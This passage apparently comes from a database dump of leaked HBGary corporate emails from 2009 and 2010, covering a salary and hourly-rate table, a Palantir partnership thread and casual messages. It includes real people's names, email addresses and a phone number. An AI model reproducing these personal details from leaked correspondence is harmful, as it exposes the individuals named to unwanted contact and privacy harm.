3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72\r\n121.57 142.63 Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000\r\n1.49 81950&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42\r\n70.38 82.57 Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70000\r\n1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70.53\r\n89.58 105.09 Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000\r\n1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65\r\n108.77 127.61 Cyber Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000\r\n1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42\r\n70.38 82.57 Cyber Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70000\r\n1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70.53\r\n89.58 105.09 Cyber Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000\r\n1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65\r\n108.77 127.61 Foreign Linguist 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000\r\n1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57\r\n95.97 112.60 Foreign Linguist 2&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72\r\n121.57 142.63 Foreign Linguist 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105000\r\n1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105.80\r\n134.36 157.64 Program Manager 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000\r\n1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57\r\n95.97 112.60 Program Manager 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72\r\n121.57 142.63 Program Manager 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105000\r\n1.49 156450&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;105.80\r\n134.36 157.64 Aaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 3:31 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, what works for you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n22, 2009 11:23 AM\r\nTo:&nbsp;Penny Hoglund\r\nCc:&nbsp;Greg Hoglund; Ted Vera\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk that\'s what I want to talk about. &nbsp;Can we set up a\r\nteleconference?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 22, 2009, at 1:15 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot necessarily, they are integrating with HBGary, not HBGary\r\nFederal since we are having to do integration.&nbsp; HBGary Federal will sell\r\nthat integration and use it but if is effects the software it should be under\r\nHBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n22, 2009 7:25 AM\r\nTo:&nbsp;Greg Hoglund; Penny\r\nLeavy\r\nCc:&nbsp;Ted Vera\r\nSubject:&nbsp;Fwd: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI. &nbsp;Partnership agreement with Palantir. &nbsp;First\r\nglaring correction is to change HBGary to HBGary Federal. &nbsp;Reviewing the\r\nrest now.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;December 21, 2009 6:01:57 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nPalantir partnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).&nbsp; Please\r\nreturn a redlined copy or a signed agreement. &nbsp;You&#8217;ll notice that this is\r\na free deal if the integration is performed within 60 days of signing the\r\nagreement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10753,'aaron_hbgary_com/10753.html'),(948,'2010-01-05','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297000156.M365111P3547Q948.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Monday','Yep\r\n\r\nOn 1/5/10, Aaron Barr  wrote:\r\n> Wus.\r\n>\r\n>  From my iPhone\r\n>\r\n> On Jan 5, 2010, at 1:22 PM, steve winterfeld \r\n> wrote:\r\n>\r\n>> I am getting over a quad muscle pull so no snowboarding this year.\r\n>>\r\n>> Can do something Monday morning (hike...).\r\n>>\r\n>> Hill said he would like to get together with you and Ted.\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',6824,'aaron_hbgary_com/6824.html'),(949,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000156.M544409P3547Q949.eml','\"steve winterfeld\" <winterfeldsj@gmail.com>','Re: Monday','Now I am clucking like a chicken.\r\n\r\nOk cripple.  I am going to ski on Monday.  I will find a nice smooth\r\npath for us to take a \"hike\" later in the week.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 5, 2010, at 2:06 PM, steve winterfeld \r\nwrote:\r\n\r\n> Yep\r\n>\r\n> On 1/5/10, Aaron Barr  wrote:\r\n>> Wus.\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Jan 5, 2010, at 1:22 PM, steve winterfeld \r\n>> wrote:\r\n>>\r\n>>> I am getting over a quad muscle pull so no snowboarding this year.\r\n>>>\r\n>>> Can do something Monday morning (hike...).\r\n>>>\r\n>>> Hill said he would like to get together with you and Ted.\r\n>>\r\n>\r\n> --\r\n> Sent from my mobile device\r\n',2101,'aaron_hbgary_com/2101.html'),(950,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000156.M793523P3547Q950.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Palantir partnership','ok try again. &nbsp;Cloud...has to be a way to default a group for permissions...On Jan 5, 2010, at 1:44 PM, Penny Hoglund wrote:I don’t have permission to access it&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 04, 2010 12:45 PMTo:&nbsp;Penny HoglundCc:&nbsp;Ted VeraSubject:&nbsp;Re: Palantir partnership&nbsp;yep. &nbsp;It is definitely not readable. &nbsp;Funny it didn\'t look like that when I sent it. :)&nbsp;Here is a link to the working spreadsheet. &nbsp;Ted is working up some package offerings as we speak.&nbsp;https://spreadsheets.google.com/a/hbgary.com/ccc?key=0Aru9N_XVzxNhdG1YQUVkUEVTU0tVZDBZa1RzV2x4RVE&amp;hl=en&nbsp;Aaron&nbsp;&nbsp;On Jan 4, 2010, at 3:40 PM, Penny Hoglund wrote:This is not readable, can you put into a spread sheet&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, December 23, 2009 9:41 PMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: Palantir partnership&nbsp;Hi Penny,&nbsp;Here are the rates Ted and I have worked up. Tomorrow we are going to work out some package rates for different types of work and we can talk about those. The multiple is 1 for Colorado, 1.27 for Sacramento, and 1.49 for DC to reach the Median Salary.&nbsp;Title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Base&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mult.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Salary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/co&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/ca&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/dcReverse Eng Level 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65000 1.49 96850&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65.49 83.18 97.59 Reverse Eng Level 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65 108.77 127.61 Reverse Eng Level 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 SW Dev 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000 1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42 70.38 82.57 SW Dev 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000 1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57 95.97 112.60 SW Dev 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000 1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72 121.57 142.63 Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000 1.49 81950&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42 70.38 82.57 Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70000 1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70.53 89.58 105.09 Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65 108.77 127.61 Cyber Intel Analyst 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000 1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42 70.38 82.57 Cyber Intel Analyst 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70000 1.49 104300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;70.53 89.58 105.09 Cyber Intel Analyst 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000 1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65 108.77 127.61 Foreign Linguist 